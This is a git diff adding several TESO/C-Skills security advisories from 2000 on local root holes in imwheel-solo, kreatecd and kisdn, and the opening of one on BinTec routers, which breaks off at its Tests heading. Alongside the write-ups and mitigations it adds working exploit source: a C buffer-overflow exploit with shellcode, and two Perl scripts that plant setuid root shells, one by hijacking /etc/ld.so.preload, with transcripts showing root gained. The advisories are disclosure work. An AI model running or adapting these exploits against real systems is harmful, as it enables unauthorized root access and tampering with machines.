| 32 | Tests | ||
| 33 | =================== | ||
| 34 | |||
| 35 | [stealth@liane stealth]$ id | ||
| 36 | uid=500(stealth) gid=500(stealth) groups=500(stealth) | ||
| 37 | [stealth@liane stealth]$ cd imhack/ | ||
| 38 | [stealth@liane imhack]$ stat `which imwheel-solo` | ||
| 39 | File: "/usr/X11R6/bin/imwheel-solo" | ||
| 40 | Size: 795 Filetype: Regular File | ||
| 41 | Mode: (4755/-rwsr-xr-x) Uid: ( 0/ root) Gid: ( 0/ root) | ||
| 42 | Device: 3,1 Inode: 214472 Links: 1 | ||
| 43 | Access: Mon Mar 13 17:32:22 2000(00000.00:04:38) | ||
| 44 | Modify: Mon Nov 1 23:41:15 1999(00132.17:55:45) | ||
| 45 | Change: Sun Mar 12 17:49:43 2000(00000.23:47:17) | ||
| 46 | [stealth@liane imhack]$ cc imexp.c | ||
| 47 | [stealth@liane imhack]$ ./a.out | ||
| 48 | Creating boom-shell... | ||
| 49 | Creating shellcode... | ||
| 50 | You can also add an offset to the commandline. | ||
| 51 | Get the real deal at http://www.cs.uni-potsdam.de/homepages/students/linuxer | ||
| 52 | Respect other users privacy! | ||
| 53 | Invoking vulnerable program (imwheel-solo)... | ||
| 54 | imwheel is not running as a daemon. | ||
| 55 | imwheel is not checking/writing a pid file, BE CAREFUL! | ||
| 56 | An imwheel may be running already, two or more imwheel processes | ||
| 57 | on the same X display, or using gpm -W, will not operate as expected! | ||
| 58 | imwheel started (pid=1385) | ||
| 59 | Knocking on heavens door... | ||
| 60 | sh-2.03# id | ||
| 61 | uid=0(root) gid=500(stealth) groups=500(stealth) | ||
| 62 | sh-2.03# | ||
| 63 | |||
| 64 | |||
| 65 | Impact | ||
| 66 | =================== | ||
| 67 | |||
| 68 | An attacker may gain local root-access to a system where vulnerable imwheel | ||
| 69 | package is installed. Even if it should not be possible for him to get a | ||
| 70 | root-shell (f.e. due to a non-exec stack-patch) he can use the suid-root | ||
| 71 | perlscript to kill arbitrary processes. | ||
| 72 | |||
| 73 | |||
| 74 | Explanation | ||
| 75 | =================== | ||
| 76 | |||
| 77 | The suid-root perlscript 'imwheel-solo' invokes the 'imwheel' program with | ||
| 78 | EUID 0. | ||
| 79 | Due to inaccurate bounds-checking an internal stack-located buffer can | ||
| 80 | be overflowed by an attacker. The 'imwheel' program doesn't bounds-check | ||
| 81 | the string it gets from the HOME environment variable. | ||
| 82 | Further the wrapper-script which runs privileged can be fooled into sending | ||
| 83 | a SIGTERM signal to arbitrary processes, causing them to die. | ||
| 84 | This problem appears because imwheel-solo blindly trusts any PID given by a | ||
| 85 | world-writable pid-file. | ||
| 86 | |||
| 87 | |||
| 88 | Solution | ||
| 89 | =================== | ||
| 90 | |||
| 91 | The author and the distributor has been informed before. | ||
| 92 | A patch is not yet available. Just remove the suid wrapper-script. | ||
| 93 | |||
| 94 | |||
| 95 | Acknowledgments | ||
| 96 | ================ | ||
| 97 | |||
| 98 | The bug-discovery and the demonstration programs are due to S. Krahmer [1]. | ||
| 99 | The shell-code is due to Stealth. | ||
| 100 | |||
| 101 | This advisory has been written by S. Krahmer. | ||
| 102 | |||
| 103 | |||
| 104 | Contact Information | ||
| 105 | =================== | ||
| 106 | |||
| 107 | The TESO crew can be reached by mailing to teso@coredump.cx. | ||
| 108 | Our web page is at https://teso.scene.at/ | ||
| 109 | |||
| 110 | C-Skills developers may be reached through [1]. | ||
| 111 | |||
| 112 | |||
| 113 | References | ||
| 114 | =================== | ||
| 115 | |||
| 116 | [1] S. Krahmer, C-Skills | ||
| 117 | http://www.cs.uni-potsdam.de/homepages/students/linuxer/ | ||
| 118 | |||
| 119 | [2] TESO | ||
| 120 | http://teso.scene.at or https://teso.scene.at/ | ||
| 121 | |||
| 122 | |||
| 123 | Disclaimer | ||
| 124 | =================== | ||
| 125 | |||
| 126 | This advisory does not claim to be complete or to be usable for any | ||
| 127 | purpose. Especially information on the vulnerable systems may be | ||
| 128 | inaccurate or wrong. The supplied exploit is not to be used for malicious | ||
| 129 | purposes, but for educational purposes only. | ||
| 130 | |||
| 131 | This advisory is free for open distribution in unmodified form. | ||
| 132 | Articles that are based on information from this advisory should include | ||
| 133 | link [1] and [2]. | ||
| 134 | |||
| 135 | |||
| 136 | Exploit | ||
| 137 | =================== | ||
| 138 | |||
| 139 | We've created a working demonstration program to exploit the vulnerability. | ||
| 140 | |||
| 141 | The exploit is available from | ||
| 142 | |||
| 143 | http://teso.scene.at/ or https://teso.scene.at/ | ||
| 144 | |||
| 145 | and | ||
| 146 | |||
| 147 | http://www.cs.uni-potsdam.de/homepages/students/linuxer | ||
| 148 | |||
| 149 | - ------ | ||
| 150 | -----BEGIN PGP SIGNATURE----- | ||
| 151 | Version: GnuPG v1.0.0 (GNU/Linux) | ||
| 152 | Comment: For info see http://www.gnupg.org | ||
| 153 | |||
| 154 | iD8DBQE4zpugcZZ+BjKdwjcRAjFrAJ94U2wicQsueZ7SdbelfcxHatqyDACfUTT8 | ||
| 155 | bRCC41Ikx6h0NQZZx1JoT60= | ||
| 156 | =/R6+ | ||
| 157 | -----END PGP SIGNATURE----- | ||
diff --git a/advisories/teso-advisory-006/imexp.c b/advisories/teso-advisory-006/imexp.c new file mode 100644 index 0000000..28fc69b --- /dev/null +++ b/advisories/teso-advisory-006/imexp.c | |||
| @@ -0,0 +1,94 @@ | |||
| 1 | /*** Halloween 4 local root exploit for imwheel-solo. Other distros are | ||
| 2 | *** maybe affected as well. | ||
| 3 | *** (C) 2000 by C-skills development. Under the GPL. | ||
| 4 | *** | ||
| 5 | *** Bugdiscovery + exploit by S. Krahmer & Stealth. | ||
| 6 | *** | ||
| 7 | *** !!! FOR EDUCATIONAL PURPOSES ONLY !!! | ||
| 8 | *** | ||
| 9 | *** other advisories and kewl stuff at: | ||
| 10 | *** http://www.cs.uni-potsdam.de/homepages/students/linuxer | ||
| 11 | *** | ||
| 12 | ***/ | ||
| 13 | #include <stdio.h> | ||
| 14 | #include <stdlib.h> | ||
| 15 | #include <sys/stat.h> | ||
| 16 | #include <unistd.h> | ||
| 17 | #include <errno.h> | ||
| 18 | |||
| 19 | |||
| 20 | |||
| 21 | /* chown("/tmp/boomsh", 0, 0); chmod("/tmp/boomsh", 04755); | ||
| 22 | */ | ||
| 23 | char shell[] = | ||
| 24 | "\xeb\x03\x5e\xeb\x05\xe8\xf8\xff\xff\xff\x83\xc6\x0d\x31\xc9\xb1\x58\x80\x36\x01\x46\xe2\xfa" | ||
| 25 | "\xea\x0d\x2e\x75\x6c\x71\x2e\x63\x6e\x6e\x6c\x72\x69\x01\x80\xed" | ||
| 26 | "\x66\x2a\x01\x01\x54\x88\xe4\x57\x52\xe9\x01\x01\x01\x01\x5a\x80\xc2\xab\x11" | ||
| 27 | "\x01\x01\x30\xc8\x8c\xb2\x3b\xee\xfe\xfe\xb9\xb7\x01\x01\x01\x88\xcb\x52\x88" | ||
| 28 | "\xf2\xcc\x81\xb8\xec\x08\x01\x01\xb9\x0e\x01\x01\x01\x52\x88\xf2\xcc\x81\x30" | ||
| 29 | "\xc1\x5a\x5f\x88\xed\x5c\xc2\x91\x91\x91\x91\x91\x91\x91\x91"; | ||
| 30 | |||
| 31 | |||
| 32 | /* filename-buffer plus ret + ebp | ||
| 33 | */ | ||
| 34 | #define buflen (2048+8) | ||
| 35 | |||
| 36 | int main(int argc, char **argv) | ||
| 37 | { | ||
| 38 | char *im[] = { | ||
| 39 | "/usr/X11R6/bin/imwheel-solo", | ||
| 40 | 0 | ||
| 41 | }; | ||
| 42 | char *a[] = { | ||
| 43 | "/tmp/boomsh", | ||
| 44 | 0 | ||
| 45 | }; | ||
| 46 | FILE *f; | ||
| 47 | struct stat s; | ||
| 48 | char boom[buflen+10]; | ||
| 49 | int i = 0, j = 0, ret = 0xbfffee68; /* this address works for me */ | ||
| 50 | |||
| 51 | if ((f = fopen("/tmp/boomsh.c", "w+")) == NULL) { | ||
| 52 | perror("fopen"); | ||
| 53 | exit(errno); | ||
| 54 | } | ||
| 55 | printf("Creating boom-shell...\n"); | ||
| 56 | fprintf(f, "int main() {char *a[]={\"/bin/sh\",0};\nsetuid(0);\nexecve(*a, a, 0);\nreturn 0;}\n"); | ||
| 57 | fclose(f); | ||
| 58 | system("cc /tmp/boomsh.c -o /tmp/boomsh"); | ||
| 59 | |||
| 60 | printf("Creating shellcode...\n"); | ||
| 61 | memset(boom, 0, sizeof(boom)); | ||
| 62 | memset(boom, 0x90, buflen); | ||
| 63 | if (argc > 1) | ||
| 64 | ret += atoi(argv[1]); | ||
| 65 | else | ||
| 66 | printf("You can also add an offset to the commandline.\n"); | ||
| 67 | for (i = buflen-strlen(shell)-4; i < buflen-4; i++) | ||
| 68 | boom[i] = shell[j++]; | ||
| 69 | *(long*)(&boom[i]) = ret; | ||
| 70 | |||
| 71 | printf("Get the real deal at http://www.cs.uni-potsdam.de/homepages/students/linuxer\n" | ||
| 72 | "Respect other users privacy!\n"); | ||
| 73 | |||
| 74 | setenv("HOME", boom, 1); | ||
| 75 | setenv("DISPLAY", ":0", 1); | ||
| 76 | |||
| 77 | printf("Invoking vulnerable program (imwheel-solo)...\n"); | ||
| 78 | if (fork() == 0) { | ||
| 79 | execl(im[0], im[0], im[1], im[2], 0); | ||
| 80 | } | ||
| 81 | sleep(4); | ||
| 82 | |||
| 83 | memset(&s, 0, sizeof(s)); | ||
| 84 | stat("/tmp/boomsh", &s); | ||
| 85 | if ((S_ISUID & s.st_mode) != S_ISUID) { | ||
| 86 | printf("Boom-shell not SUD-root! Wrong offset or patched version of imwheel.\n"); | ||
| 87 | return -1; | ||
| 88 | } | ||
| 89 | /* Huh? :-) | ||
| 90 | */ | ||
| 91 | printf("Knocking on heavens door...\n"); | ||
| 92 | execve(a[0], a, 0); | ||
| 93 | return 0; | ||
| 94 | } | ||
diff --git a/advisories/teso-advisory-007/advisory-007.txt b/advisories/teso-advisory-007/advisory-007.txt new file mode 100644 index 0000000..f569076 --- /dev/null +++ b/advisories/teso-advisory-007/advisory-007.txt | |||
| @@ -0,0 +1,154 @@ | |||
| 1 | -----BEGIN PGP SIGNED MESSAGE----- | ||
| 2 | Hash: SHA1 | ||
| 3 | |||
| 4 | - ------ | ||
| 5 | |||
| 6 | TESO Security Advisory | ||
| 7 | 2000/03/14 | ||
| 8 | |||
| 9 | kreatecd local root compromise | ||
| 10 | |||
| 11 | |||
| 12 | Summary | ||
| 13 | =================== | ||
| 14 | |||
| 15 | A vulnerability within the kreatecd application for Linux has been | ||
| 16 | discovered. An attacker can gain local root-access. | ||
| 17 | |||
| 18 | |||
| 19 | Systems Affected | ||
| 20 | =================== | ||
| 21 | |||
| 22 | Any system which has kreatecd installed as set-UID root. | ||
| 23 | This affects also a configure; make; make install procedure. | ||
| 24 | |||
| 25 | Among the vulnerable distributions (if the package is installed) are the | ||
| 26 | following systems: | ||
| 27 | |||
| 28 | Halloween Linux Version 4 | ||
| 29 | SuSE 6.x | ||
| 30 | |||
| 31 | |||
| 32 | Tests | ||
| 33 | =================== | ||
| 34 | |||
| 35 | [stealth@liane stealth]$ stat `which kreatecd` | ||
| 36 | File: "/usr/bin/kreatecd" | ||
| 37 | Size: 229068 Filetype: Regular File | ||
| 38 | Mode: (4755/-rwsr-xr-x) Uid: ( 0/ root) Gid: ( 0/ root) | ||
| 39 | Device: 3,1 Inode: 360053 Links: 1 | ||
| 40 | Access: Tue Mar 14 14:48:21 2000(00000.00:00:45) | ||
| 41 | Modify: Tue Mar 14 14:48:21 2000(00000.00:00:45) | ||
| 42 | Change: Tue Mar 14 14:48:21 2000(00000.00:00:45) | ||
| 43 | [stealth@liane stealth]$ id | ||
| 44 | uid=500(stealth) gid=500(stealth) groups=500(stealth) | ||
| 45 | [stealth@liane stealth]$ /tmp/kreatur | ||
| 46 | (... some diagnostic messages ...) | ||
| 47 | Creating suid-maker... | ||
| 48 | Creating boom-shell... | ||
| 49 | |||
| 50 | Execute kreatecd and follow the menus: | ||
| 51 | Configure -> Paths -- change the path for cdrecord to /tmp/xxx | ||
| 52 | Apply -> OK | ||
| 53 | Configure -> SCSI -> OK | ||
| 54 | |||
| 55 | Execute /tmp/boomsh | ||
| 56 | |||
| 57 | |||
| 58 | BEHAVE! | ||
| 59 | |||
| 60 | (poking around with GUI...) | ||
| 61 | [stealth@liane stealth]$ /tmp/boomsh | ||
| 62 | [root@liane stealth]# id | ||
| 63 | uid=0(root) gid=500(stealth) groups=500(stealth) | ||
| 64 | [root@liane stealth]# | ||
| 65 | |||
| 66 | |||
| 67 | Impact | ||
| 68 | =================== | ||
| 69 | |||
| 70 | An attacker may gain local root-access to a system where vulnerable | ||
| 71 | kreatecd package is installed. It might be difficult for an remote- | ||
| 72 | attacker who gained local user-access due to the GUI-nature of | ||
| 73 | the vulnerable program. | ||
| 74 | I appreciate help with some tips how one can get an instant rootshell | ||
| 75 | without clicking around. | ||
| 76 | |||
| 77 | |||
| 78 | Explanation | ||
| 79 | =================== | ||
| 80 | |||
| 81 | Kreatecd which runs with the saved user-id of 0 blindly trusts path's to | ||
| 82 | cd-recording software given by unprivileged user. | ||
| 83 | It then invokes this software with EUID of 0 when user just clicks a little | ||
| 84 | bit around with the menus. | ||
| 85 | |||
| 86 | |||
| 87 | Solution | ||
| 88 | =================== | ||
| 89 | |||
| 90 | The author and the distributor has been informed before. | ||
| 91 | Remove the suid bit of kreatecd. | ||
| 92 | |||
| 93 | |||
| 94 | Acknowledgments | ||
| 95 | ================ | ||
| 96 | |||
| 97 | The bug-discovery and the demonstration programs are due to S. Krahmer [1]. | ||
| 98 | This advisory has been written by S. Krahmer. | ||
| 99 | |||
| 100 | |||
| 101 | Contact Information | ||
| 102 | =================== | ||
| 103 | |||
| 104 | The TESO crew can be reached by mailing to teso@coredump.cx. | ||
| 105 | Our web page is at https://teso.scene.at/ | ||
| 106 | |||
| 107 | C-Skills developers may be reached through [1]. | ||
| 108 | |||
| 109 | |||
| 110 | References | ||
| 111 | =================== | ||
| 112 | |||
| 113 | [1] S. Krahmer, C-Skills | ||
| 114 | http://www.cs.uni-potsdam.de/homepages/students/linuxer/ | ||
| 115 | |||
| 116 | [2] TESO | ||
| 117 | http://teso.scene.at or https://teso.scene.at/ | ||
| 118 | |||
| 119 | |||
| 120 | Disclaimer | ||
| 121 | =================== | ||
| 122 | |||
| 123 | This advisory does not claim to be complete or to be usable for any | ||
| 124 | purpose. Especially information on the vulnerable systems may be | ||
| 125 | inaccurate or wrong. The supplied exploit is not to be used for malicious | ||
| 126 | purposes, but for educational purposes only. | ||
| 127 | |||
| 128 | This advisory is free for open distribution in unmodified form. | ||
| 129 | Articles that are based on information from this advisory should include | ||
| 130 | link [1] and [2]. | ||
| 131 | |||
| 132 | |||
| 133 | Exploit | ||
| 134 | =================== | ||
| 135 | |||
| 136 | We've created a working demonstration program to exploit the vulnerability. | ||
| 137 | |||
| 138 | The exploit is available from | ||
| 139 | |||
| 140 | http://teso.scene.at/ or https://teso.scene.at/ | ||
| 141 | |||
| 142 | and | ||
| 143 | |||
| 144 | http://www.cs.uni-potsdam.de/homepages/students/linuxer | ||
| 145 | |||
| 146 | - ------ | ||
| 147 | -----BEGIN PGP SIGNATURE----- | ||
| 148 | Version: GnuPG v1.0.0 (GNU/Linux) | ||
| 149 | Comment: For info see http://www.gnupg.org | ||
| 150 | |||
| 151 | iD8DBQE4zpvYcZZ+BjKdwjcRAtukAJwLRMYT1S2FLZriifUmm+vnVznSfQCgk4m9 | ||
| 152 | 9FRbu1gyyI6rbR38XP1F+sk= | ||
| 153 | =L5Ak | ||
| 154 | -----END PGP SIGNATURE----- | ||
diff --git a/advisories/teso-advisory-007/kreatur b/advisories/teso-advisory-007/kreatur new file mode 100755 index 0000000..868d622 --- /dev/null +++ b/advisories/teso-advisory-007/kreatur | |||
| @@ -0,0 +1,66 @@ | |||
| 1 | #!/usr/bin/perl | ||
| 2 | |||
| 3 | # kreatecd local root-exploit helper script. | ||
| 4 | # Tested on Halloween 4 distro. Will also work on SuSE 6.x | ||
| 5 | # (C) 2000 C-skills development, S. Krahmer under the GPL | ||
| 6 | # http://www.cs.uni-potsdam.de/homepages/students/linuxer | ||
| 7 | |||
| 8 | # | ||
| 9 | # visit TESO at http://teso.scene.at/ or https://teso.scene.at/ | ||
| 10 | # | ||
| 11 | |||
| 12 | # ! USE IT AT YOUR OWN RISK ! | ||
| 13 | # For educational purposes only. | ||
| 14 | |||
| 15 | if (((stat "/opt/kde/bin/kreatecd")[2] & 04000) != 04000 && | ||
| 16 | ((stat "/usr/bin/kreatecd")[2] & 04000) != 04000) { | ||
| 17 | print "kreatecd not installed suid! handshake with root!\n"; | ||
| 18 | exit 1; | ||
| 19 | } | ||
| 20 | |||
| 21 | print "kreatecd installed suid!\n"; | ||
| 22 | print "Contact your local script-kiddie.\n"; | ||
| 23 | print "Nobody ever got fired for NOT using GUI-suid-rootprograms! remove it!\n"; | ||
| 24 | print "Creating suid-maker...\n"; | ||
| 25 | open O, ">/tmp/boom.c" or die "open(boom.c..)"; | ||
| 26 | print O<<_EOF_; | ||
| 27 | #include <stdio.h> | ||
| 28 | #include <sys/types.h> | ||
| 29 | #include <unistd.h> | ||
| 30 | int main() | ||
| 31 | { | ||
| 32 | setreuid(0,0); | ||
| 33 | chown("/tmp/boomsh", 0, 0); | ||
| 34 | chmod("/tmp/boomsh", 04755); | ||
| 35 | exit(1); | ||
| 36 | } | ||
| 37 | _EOF_ | ||
| 38 | close O; | ||
| 39 | system("cc /tmp/boom.c -o /tmp/xxx"); | ||
| 40 | |||
| 41 | print "Creating boom-shell...\n"; | ||
| 42 | open O, ">/tmp/boomsh.c" or die "open(boomsh.c..)"; | ||
| 43 | print O<<_EOF2_; | ||
| 44 | |||
| 45 | int main() | ||
| 46 | { | ||
| 47 | char *a[] = { | ||
| 48 | "/bin/bash", | ||
| 49 | 0 | ||
| 50 | }; | ||
| 51 | setuid(0); | ||
| 52 | execve(*a, a, 0); | ||
| 53 | return 0; | ||
| 54 | } | ||
| 55 | _EOF2_ | ||
| 56 | close O; | ||
| 57 | system("cc /tmp/boomsh.c -o /tmp/boomsh"); | ||
| 58 | print <<_EOF3_; | ||
| 59 | \nExecute kreatecd and follow the menus: | ||
| 60 | Configure -> Paths -- change the path for cdrecord to /tmp/xxx | ||
| 61 | Apply -> OK | ||
| 62 | Configure -> SCSI -> OK | ||
| 63 | \nExecute /tmp/boomsh\n | ||
| 64 | \nBEHAVE!\n | ||
| 65 | _EOF3_ | ||
| 66 | |||
diff --git a/advisories/teso-advisory-008/advisory-008.txt b/advisories/teso-advisory-008/advisory-008.txt new file mode 100644 index 0000000..76f576a --- /dev/null +++ b/advisories/teso-advisory-008/advisory-008.txt | |||
| @@ -0,0 +1,155 @@ | |||
| 1 | -----BEGIN PGP SIGNED MESSAGE----- | ||
| 2 | Hash: SHA1 | ||
| 3 | |||
| 4 | - ------ | ||
| 5 | |||
| 6 | TESO Security / C-Skills development Security Advisory | ||
| 7 | 2000/03/13 | ||
| 8 | |||
| 9 | kisdn local root compromise | ||
| 10 | |||
| 11 | |||
| 12 | Summary | ||
| 13 | =================== | ||
| 14 | |||
| 15 | A bug within the kisdn application for Linux has been discovered. | ||
| 16 | A local attacker may gain root privileges by exploiting a symlink | ||
| 17 | vulnerability in the kisdn, which is part of the KDE suite. | ||
| 18 | |||
| 19 | |||
| 20 | Systems Affected | ||
| 21 | =================== | ||
| 22 | |||
| 23 | Any system which has kisdn 0.7.3-2 installed setuid-root. | ||
| 24 | |||
| 25 | Among the vulnerable distributions (if the package is installed) are the | ||
| 26 | following systems: | ||
| 27 | |||
| 28 | Halloween Linux Version 4 | ||
| 29 | |||
| 30 | |||
| 31 | Tests | ||
| 32 | =================== | ||
| 33 | |||
| 34 | [stealth@liane stealth]$ id | ||
| 35 | uid=500(stealth) gid=500(stealth) groups=500(stealth) | ||
| 36 | [stealth@liane stealth]$ export DISPLAY=":0" | ||
| 37 | [stealth@liane stealth]$ cd kisdn-hack | ||
| 38 | [stealth@liane kisdn-hack]$ ./killer | ||
| 39 | Warning. You will loose kisdnrc file and /etc/ld.so.preload! | ||
| 40 | <enter> | ||
| 41 | |||
| 42 | Linking /home/stealth/.kde/share/config/kisdnrc... | ||
| 43 | Creating hijack-lib ... | ||
| 44 | Compiling hijack-lib ... | ||
| 45 | Compile shell... | ||
| 46 | You don't need to click. Just wait a few seconds. | ||
| 47 | kISDN: Release 0.7.3 | ||
| 48 | Welcome. But as always: BEHAVE! | ||
| 49 | sh-2.03# id | ||
| 50 | uid=0(root) gid=500(stealth) groups=500(stealth) | ||
| 51 | sh-2.03# | ||
| 52 | |||
| 53 | |||
| 54 | Impact | ||
| 55 | =================== | ||
| 56 | |||
| 57 | An attacker may gain local root-access to a system where vulnerable kisdn | ||
| 58 | package is installed. | ||
| 59 | Due to the GUI-nature of the program it might be difficult for an attacker | ||
| 60 | to gain a root-shell on a remote-system. However he could modify the | ||
| 61 | DISPLAY environment variable to redirect the output to one of his machines. | ||
| 62 | |||
| 63 | |||
| 64 | |||
| 65 | Explanation | ||
| 66 | =================== | ||
| 67 | |||
| 68 | The checkKisdnrc() function which should check for proper permissions | ||
| 69 | and possible sysmlink's fails due to a not evaluated variable 'valid' | ||
| 70 | at the end of the function. Rather the function assumes that all is OK | ||
| 71 | when just a local config-file exists which must be created as root. | ||
| 72 | An attacker however can assume that this file has been created by root | ||
| 73 | via the 'kcmkisdn' utility (which sets up the necessary drivers etc) | ||
| 74 | since otherwise nobody can use the kisdn-program. | ||
| 75 | Even if root has not configured kisdn via this utility, due to a race | ||
| 76 | in checkKisdnrc() an attacker can quickly create a symlink after | ||
| 77 | a successful return of the function. | ||
| 78 | Even more the kisdn program has some potential security-risks by calling | ||
| 79 | the 'modprobe' utility via the system(3) call. This might enable | ||
| 80 | an attacker to give additional input to the shell that is invoked by | ||
| 81 | system(3). | ||
| 82 | |||
| 83 | |||
| 84 | Solution | ||
| 85 | =================== | ||
| 86 | |||
| 87 | The author and the distributor have been informed before. | ||
| 88 | A patch is not yet available. | ||
| 89 | |||
| 90 | Temporary Solution: | ||
| 91 | Remove kisdn's s-bit. | ||
| 92 | |||
| 93 | |||
| 94 | Acknowledgments | ||
| 95 | ================ | ||
| 96 | |||
| 97 | The bug-discovery and the demonstration programs are due to S. Krahmer [1]. | ||
| 98 | |||
| 99 | This advisory has been written by S. Krahmer and hendy. | ||
| 100 | |||
| 101 | |||
| 102 | Contact Information | ||
| 103 | =================== | ||
| 104 | |||
| 105 | The TESO crew can be reached by mailing to teso@coredump.cx. | ||
| 106 | Our web page is at http://teso.scene.at/ | ||
| 107 | |||
| 108 | C-Skills developers may be reached through [1]. | ||
| 109 | |||
| 110 | |||
| 111 | References | ||
| 112 | =================== | ||
| 113 | |||
| 114 | [1] S. Krahmer, C-Skills | ||
| 115 | http://www.cs.uni-potsdam.de/homepages/students/linuxer/ | ||
| 116 | |||
| 117 | [2] TESO | ||
| 118 | http://teso.scene.at or https://teso.scene.at/ | ||
| 119 | |||
| 120 | |||
| 121 | Disclaimer | ||
| 122 | =================== | ||
| 123 | |||
| 124 | This advisory does not claim to be complete or to be usable for any | ||
| 125 | purpose. Especially information on the vulnerable systems may be | ||
| 126 | inaccurate or wrong. The supplied exploit is not to be used for malicious | ||
| 127 | purposes, but for educational purposes only. | ||
| 128 | |||
| 129 | This advisory is free for open distribution in unmodified form. | ||
| 130 | Articles that are based on information from this advisory should include | ||
| 131 | links [1] and [2]. | ||
| 132 | |||
| 133 | |||
| 134 | Exploit | ||
| 135 | =================== | ||
| 136 | |||
| 137 | We've created a working demonstration program to exploit the vulnerability. | ||
| 138 | |||
| 139 | The exploit is available from | ||
| 140 | |||
| 141 | http://teso.scene.at/ or https://teso.scene.at/ | ||
| 142 | |||
| 143 | and | ||
| 144 | |||
| 145 | http://www.cs.uni-potsdam.de/homepages/students/linuxer | ||
| 146 | |||
| 147 | - ------ | ||
| 148 | -----BEGIN PGP SIGNATURE----- | ||
| 149 | Version: GnuPG v1.0.0 (GNU/Linux) | ||
| 150 | Comment: For info see http://www.gnupg.org | ||
| 151 | |||
| 152 | iD8DBQE40ifpcZZ+BjKdwjcRAr4UAJ94lfxiWU7S74ostUGE3U6lIyA7bgCeLG/6 | ||
| 153 | hNcWIjwNiyL10NtDqtJc55E= | ||
| 154 | =+vBE | ||
| 155 | -----END PGP SIGNATURE----- | ||
diff --git a/advisories/teso-advisory-008/killer b/advisories/teso-advisory-008/killer new file mode 100755 index 0000000..4ed5bac --- /dev/null +++ b/advisories/teso-advisory-008/killer | |||
| @@ -0,0 +1,91 @@ | |||
| 1 | #!/usr/bin/perl | ||
| 2 | |||
| 3 | # KISDN local root | ||
| 4 | # (C) 2000 by C-Skills development, Sebastian Krahmer | ||
| 5 | # KISDN is suid root (GUI!) and trusts symlinks. | ||
| 6 | # | ||
| 7 | # This exploit is part of a security-advisory: | ||
| 8 | # http://www.cs.uni-potsdam.de/homepages/students/linuxer | ||
| 9 | # | ||
| 10 | # BIG greets to: | ||
| 11 | # | ||
| 12 | # security.is people :) | ||
| 13 | # teso security | ||
| 14 | # Mr. Russian Smartass: Fyodor }|-] | ||
| 15 | # lam3rz :P | ||
| 16 | # Silvio | ||
| 17 | # and some auditors from bigger distributors :) | ||
| 18 | # (and all i forgot) | ||
| 19 | |||
| 20 | # This exploit is for educational purposes only. | ||
| 21 | # YOU USE IT AT YOUR OWN RISK! | ||
| 22 | # Licensed under the GPL. | ||
| 23 | |||
| 24 | # note about these preload-exploits: | ||
| 25 | # It is save to run a mc or somewhat on a second terminal, since you won't | ||
| 26 | # be able to 'rm' a up-fucked /etc/ld.so.preload! Use F8 on mc then. | ||
| 27 | # | ||
| 28 | |||
| 29 | print "Warning. You will loose kisdnrc file and /etc/ld.so.preload!\n"; | ||
| 30 | print "<enter>\n"; | ||
| 31 | <STDIN>; | ||
| 32 | my $rcfile=$ENV{'HOME'}."/.kde/share/config/kisdnrc"; | ||
| 33 | print "Linking $rcfile...\n"; | ||
| 34 | unlink $rcfile; | ||
| 35 | symlink "/etc/ld.so.preload", $rcfile; | ||
| 36 | |||
| 37 | print "Creating hijack-lib ...\n"; | ||
| 38 | open O, ">/tmp/boom.c" or die "open(boom.c..)"; | ||
| 39 | print O<<_EOF_; | ||
| 40 | #include <sys/types.h> | ||
| 41 | |||
| 42 | int time(void *v) | ||
| 43 | { | ||
| 44 | chown("/tmp/boomsh", 0, 0); | ||
| 45 | chmod("/tmp/boomsh", 06755); | ||
| 46 | unlink("/etc/ld.so.preload"); | ||
| 47 | exit(1); | ||
| 48 | } | ||
| 49 | _EOF_ | ||
| 50 | close O; | ||
| 51 | |||
| 52 | print "Compiling hijack-lib ...\n"; | ||
| 53 | $foo = `cc -c -fPIC /tmp/boom.c -o /tmp/boom.o`; | ||
| 54 | $foo = `cc -shared /tmp/boom.o -o /tmp/boom.so`; | ||
| 55 | |||
| 56 | open O, ">/tmp/boomsh.c" or die "open(boomsh.c ...)"; | ||
| 57 | print O<<_EOF2_; | ||
| 58 | #include <stdio.h> | ||
| 59 | int main() | ||
| 60 | { | ||
| 61 | char *a[] = {"/bin/sh", 0}; | ||
| 62 | setuid(0); | ||
| 63 | system("killall -9 kisdn"); | ||
| 64 | execve(a[0], a, 0); | ||
| 65 | return 0; | ||
| 66 | } | ||
| 67 | _EOF2_ | ||
| 68 | close O; | ||
| 69 | |||
| 70 | print "Compile shell...\n"; | ||
| 71 | $foo = `cc /tmp/boomsh.c -o /tmp/boomsh`; | ||
| 72 | |||
| 73 | umask 0; | ||
| 74 | |||
| 75 | if (($pid = fork()) == 0) { | ||
| 76 | $foo = `kisdn`; | ||
| 77 | exit(1); | ||
| 78 | } | ||
| 79 | print "You don't need to click. Just wait a few seconds.\n"; | ||
| 80 | sleep(3); | ||
| 81 | |||
| 82 | open O, ">/etc/ld.so.preload" or die "Huh? Can't open preload."; | ||
| 83 | print O "/tmp/boom.so"; | ||
| 84 | close O; | ||
| 85 | |||
| 86 | $foo = `/usr/bin/passwd`; | ||
| 87 | |||
| 88 | # let it look like if we have sth. to do. :) | ||
| 89 | sleep 3; | ||
| 90 | print "Welcome. But as always: BEHAVE!\n"; | ||
| 91 | system("/tmp/boomsh"); | ||
diff --git a/advisories/teso-advisory-009/advisory-009.txt b/advisories/teso-advisory-009/advisory-009.txt new file mode 100644 index 0000000..df9f089 --- /dev/null +++ b/advisories/teso-advisory-009/advisory-009.txt | |||
| @@ -0,0 +1,405 @@ | |||
| 1 | -----BEGIN PGP SIGNED MESSAGE----- | ||
| 2 | Hash: SHA1 | ||
| 3 | |||
| 4 | - ------ | ||
| 5 | |||
| 6 | TESO Security Advisory | ||
| 7 | 2000/03/30 | ||
| 8 | |||
| 9 | BinTec router security and privacy weakness | ||
| 10 | |||
| 11 | |||
| 12 | Summary | ||
| 13 | =================== | ||
| 14 | |||
| 15 | By using SNMP brute-force-techniques for SNMP community-names one is able | ||
| 16 | to gain the management accounts passwords, which are the same as the SNMP | ||
| 17 | community names. | ||
| 18 | Additionally the MIB-Tree holds security related information which should | ||
| 19 | not be accessible through read-only/SNMP. These routers also offer services | ||
| 20 | which can be abused rather easily, like dialing out and getting full line | ||
| 21 | access via a CAPI interface, or a debugging interface which gives you all | ||
| 22 | information which is sent over the BRI-lines. | ||
| 23 | (Those services are open as default and the debugging service is barely | ||
| 24 | documented) | ||
| 25 | |||
| 26 | |||
| 27 | Systems Affected | ||
| 28 | =================== | ||
| 29 | |||
| 30 | BinTec ISDN router family | ||
| 31 | |||
| 32 | tested: BIANCA/BRICK-XL | ||
| 33 | BIANCA/BRICK-XS | ||
| 34 | |||
| 35 | |||
| 36 | Tests | ||
| 37 | =================== | ||
